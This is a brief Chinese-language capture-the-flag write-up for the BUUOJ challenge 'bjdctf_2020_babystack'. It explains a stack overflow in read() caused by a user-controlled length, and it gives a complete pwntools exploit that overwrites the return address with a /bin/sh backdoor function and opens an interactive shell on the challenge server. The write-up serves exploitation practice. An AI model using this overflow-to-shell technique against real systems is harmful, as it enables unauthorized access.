bjdctf_2020_babystack 1
1.checksec
2.ida
shift+f12查看字符串发现bin/sh
点进去发现是一个后门函数,记住该函数的起始地址0x4006e6
read处read(0, buf, (unsigned int)nbytes);存在栈溢出漏洞,可以先输入一个很大的数nbytes,使nybtes大小超过buf本身的大小就可以实现栈溢出,但也要注意输入的nbytes不要太小,不然不够容纳payload,当然也可以输入-1,使得nbytes为一个很大的数
故exp如下:
from pwn import*
p=remote('node4.buuoj.cn',29811)
p.sendlineafter('your name:','250')
payload=b'a'*24+p64(0x4006E6)
p.sendlineafter('u name?',payload)
p.interactive()
最后cat flag